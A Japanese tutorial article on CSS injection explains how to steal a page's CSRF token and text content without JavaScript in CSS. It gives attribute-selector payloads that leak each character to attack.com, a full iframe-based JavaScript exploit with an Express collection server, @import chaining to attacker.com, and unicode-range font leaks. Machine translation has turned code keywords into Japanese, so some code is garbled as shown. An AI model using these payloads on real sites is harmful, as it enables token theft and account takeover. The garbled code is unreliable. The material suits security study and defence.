最近のブラウザでは、CSS 内で JavaScript を実行することはできなくなりました。以前は、CSS インジェクションによって JavaScript プロトコルが使用され、url() および expression() 内で JavaScript コードが実行され、XSS が実現されていました。しかし、CSS インジェクションは依然としてデータの盗難に非常に有効です。以下で 1 つずつ分析してみましょう。 CSSインジェクションはタグ属性データを盗む CSS では属性セレクターを使用して、さまざまな属性に基づいてタグを選択できます。たとえば、次の CSS は、a 属性を持ち、その値が abc である p タグを選択します。 <style>p[a="abc"]{ 色: 赤; } <pa="abc">こんにちは世界</p> 属性セレクターは、XXX で始まる、XXX で終わるなど、値の特定の特性と一致させることもできます。 上記のプロパティを使用すると、ページ タグ属性内のデータを盗むことができます。たとえば、csrfToken が特定の文字で始まる場合、攻撃者は url() を通じて通知を受け、csrfToken の最初の数字を盗むことができます。 <スタイル> 入力[値^="0"] { 背景: url(http://attack.com/0); } 入力[値^="1"] { 背景: url(http://attack.com/1); } 入力[値^="2"] { 背景: url(http://attack.com/2); } ... 入力[値^="Y"] { 背景: url(http://attack.com/Y); } 入力[値^="Z"] { 背景: url(http://attack.com/Z); } </スタイル> <input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA=="> 最初はZ、次に2番目を盗む <スタイル> 入力[値^="Z0"] { 背景: url(http://attack.com/0); } ... 入力[値^="ZZ"] { 背景: url(http://attack.com/Z); } </スタイル> <input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA=="> 隠された謎を解く もちろん、まだ問題が残っています。タグ 1 つの解決策は、~ CSS 兄弟セレクターを使用して、後続のすべての兄弟ノードの背景を設定することです。 入力[値^="Z"] ~*{ 背景: url(http://attack.com/Z); } バッチ実装 もちろん、桁数が短く、可能性が少ない場合はすべてをリストできますが、通常は数が多すぎるため、バッチで取得するためのトリックを使用する必要があります。 CSS インジェクションの対象となる Web サイトが次のとおりであり、入力タグ内の csrfToken 値を盗むことが目的であると仮定します。 <!DOCTYPE html> <html> <ヘッド> <title>CSS インジェクション</title> </head> <本文> <input type=hidden name="csrfToken" value=<?=md5(date("h"))?>> <入力タイプ="" 名前=""> <スタイル><?php echo $_GET['css']?></スタイル> </本文> </html> iframe付き CSS インジェクションのある Web サイトのレスポンス ヘッダーが ここで問題があります。サーバーはどのようにしてフロントエンド js に CSS を構築するよう指示するのでしょうか? 上記の例のように、盗まれた最初のビットが Z の場合、2 番目のペイロードは Z で始まる必要があります。 以下のペイロードは https://medium.com/bugbountywriteup/exfiltrate-via-css-injection-4e999f63097d から取得されています。 アイデアとしては、フロントエンド js が setTimeout を使用して定期的にサーバーに要求し、サーバーが CSS を挿入して取得したトークンを返すというものです。 <html> <スタイル> #フレーム{ 可視性: 非表示; } </スタイル> <本文> <div id="現在"></div> <div id="次の時間までの時間"></div> <div id="フレーム"></div> </本文> <スクリプト> vuln_url = 'http://127.0.0.1:8084/vuln.php?css='; server_receive_token_url = 'http://127.0.0.1:8083/receive/'; server_return_token_url = 'http://127.0.0.1:8083/return'; 文字 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""); 既知 = ""; 関数 test_char(既知の文字) { // すべてのフレームを削除します document.getElementById("フレーム").innerHTML = ""; // 既知の文字に文字を追加します css = build_css(chars.map(v => known + v)); // 攻撃を試すために iframe を作成します。`X-Frame-Options` がこれをブロックしている場合は、新しいタブを使用できます... フレーム = document.createElement("iframe"); frame.src = vuln_url + css; frame.style="visibility: hidden;"; // こっそりこっそりしなきゃ document.getElementById("frames").appendChild(frame); // iframe が読み込まれた後 1 秒以内に、応答があったかどうかを確認します setTimeout(関数() { var oReq = 新しい XMLHttpRequest(); oReq.addEventListener("load", known_listener); oReq.open("GET", server_return_token_url); oReq.send(); }, 1000); } 関数build_css(値) { css_payload = ""; for(var value in values) { css_payload += "入力[値^=\"" + 値[値] + "\"]~*{背景画像:url(" + サーバー受信トークン URL + 値[値] + ")%3B}"; //URL ではセミコロンが意味を持つため、実際のセミコロンは使用できません } css_payload を返します。 } 関数known_listener() { document.getElementById("current").innerHTML = "現在のトークン: " + this.responseText; if(既知 != this.responseText) { 既知 = this.responseText; test_char(既知の文字数); } それ以外 { 既知 = this.responseText; alert("CSRF トークンは: " + 既知です); } } test_char("", 文字); </スクリプト> </html> サーバー コードは、ペイロードに合わせて私が作成しました。 var express = require('express'); var app = express(); var パス = require('パス'); var トークン = ""; app.get('/receive/:token', 関数(req, res) { トークン = req.params.token; console.log(トークン) res.send('ok'); }); app.get('/return', 関数(req, res){ res.send(トークン); }); app.get('/client.html', 関数(req, res){ res.sendFile(path.join(__dirname, 'client.html')); }) var server = app.listen(8083, 関数() { var ホスト = server.address().address var ポート = server.address().port console.log("http://%s:%s でリッスンしているサンプル アプリ"、ホスト、ポート) }) 別の方法としては、サーバー経由でトークンを Cookie に書き込み、Cookie が変更されたかどうかを定期的に確認する方法があります。 また、一部のマスターは、WebSocket を使用してよりエレガントに実装していることもわかりました。出典: github.com iframeなし https://github.com/dxa4481/cssInjection iframe を使わないインジェクションの方法を紹介します。 原理も非常に単純です。脆弱なページを導入するために iframe を使用することはできないため、 この記事では、バックグラウンド サーバーを使用せずに、 @輸入 Chrome の @import 機能を使用したこの方法は、この記事で提案されています: https://medium.com/@d0nut/better-exfiltrate-via-html-injection-31c72a2dae8bこの方法の利点は、ページを更新せずにすべてのトークンを取得でき、iframe が不要であることです。ただし、欠点は Chrome でのみ使用でき、その特性上、スタイル タグ ヘッダーに挿入する必要があることです。 外部スタイルを導入するための一般的な
ただし、@import はスタイルシート ヘッダーの最初に宣言する必要があり、セミコロンが必要です。 上記の効果を実装すると、Chrome は @import 外部スタイルシートが返されるたびにページの他のスタイルシートを再計算します。この機能を使用して @import をネストし、1 回のリクエストでトークン全体を取得できます。 これは彼の記事からの写真ですが、非常に鮮明です。 この図は、盗まれるデータの長さが3であると仮定しています。最初に挿入されるCSSコンテンツは@import url(http://attacker.com/staging);で、これは次のコードを返します。
このとき、ページ この記事では、この脆弱性を悪用するための非常に簡単に使用できるオープンソース ツールも紹介しています。 https://github.com/d0nutptr/sic タグコンテンツデータを盗む タグコンテンツデータの窃取は比較的厄介です。昨年のxctf決勝でもこれに関する問題が出ました。 ユニコード範囲を使用して推測する https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html の考え方に従えば、 <スタイル> @フォントフェイス{ フォントファミリ:poc; src: url(http://attacker.example.com/?A); /* 取得済み */ ユニコード範囲:U+0041; } @フォントフェイス{ フォントファミリ:poc; src: url(http://attacker.example.com/?B); /* フェッチも */ ユニコード範囲:U+0042; } @フォントフェイス{ フォントファミリ:poc; src: url(http://attacker.example.com/?C); /* 取得されませんでした */ ユニコード範囲:U+0043; } #機密情報{ フォントファミリ:poc; } </スタイル> <p id="sensitive-information">AB</p> もちろん、これはどの文字が含まれているかを示すだけであり、文字数が多すぎると意味がなくなります。しかし、それは良いアイデアであり、特定の状況では役立つかもしれません。 合字の使用 これは、昨年 xctf マスターが問題を解決するために使用した方法です。 簡単に言うと、合字は複数の文字の組み合わせです。詳細については、Baidu で検索してください。ここでは、すべての文字の幅を 0 に設定し、合字フラグの幅を非常に大きく設定したフォントを独自に作成できます。このとき、指定したタグの内容に この方法では、逆方向に推測し続けることができます。フォントとペイロードの作成の詳細については、こちらを参照してください。 要約する CSSインジェクションの知識のまとめはこれで終わりです。CSSインジェクションに関するより関連性の高いコンテンツについては、123WORDPRESS.COMの過去の記事を検索するか、以下の関連記事を引き続き閲覧してください。今後とも123WORDPRESS.COMをよろしくお願いいたします。 |
<<: 高品質なコードを書く Web フロントエンド開発実践書の抜粋
>>: Apache をインストールした後、サービスを開始できません (サービスを開始するとエラー コード 1 が表示されます)
この記事では、MySQL 8.0.20のインストールと設定方法についての詳細なチュートリアルを参考ま...
目次序文:親切なヒント:変数1. 免責事項2. 譲渡3. 2つの小さな文法上の詳細変数の命名規則なぜ...
1. なぜこの記事を書くのですか?重複リクエストの処理に関する記事をたくさん読んだことがあるでしょう...
以前、「Web ページにシステムに組み込まれていないフォントを埋め込む」という研究をしたことがありま...
黄金律プロジェクトに何人の人が取り組んでいるかに関係なく、すべてのコード行が同じ人によって書かれたよ...
この記事の例では、ミニプログラムでリストカウントダウンを実装するための具体的なコードを参考までに共有...
目次1: カプセル化の考え方2. 包装工程3: ドットインジケーター4: 左と右のインジケーター5:...
おそらく誰もが js の実行によって DOM ツリーの解析とレンダリングがブロックされることを知って...
1. Flashプラグインパッケージのダウンロードアドレス: https://get.adobe.c...
ドライバーモジュールに渡すパラメータ名、タイプ、権限を宣言します。 module_param(変数名...
データベースを表示show databases;データベースを作成するDATABASE データベース...
プログラマーは MySQL を扱う機会が多く、毎日触れているとも言えますが、MySQL テーブルには...
.imgbox{ 幅: 1200ピクセル; 高さ: 612px; 右マージン: 自動; 左マージン...
Windows 2003+IIS6 の fastcgi 構成ファイル fcgiext.ini を最適...
Nginx の最適化 - バージョン番号と Web ページのキャッシュ時間を非表示にするバージョン番...